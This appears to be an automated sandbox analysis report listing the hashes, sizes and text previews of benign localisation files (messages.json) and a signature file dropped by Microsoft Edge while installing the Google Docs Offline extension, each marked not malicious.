SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsM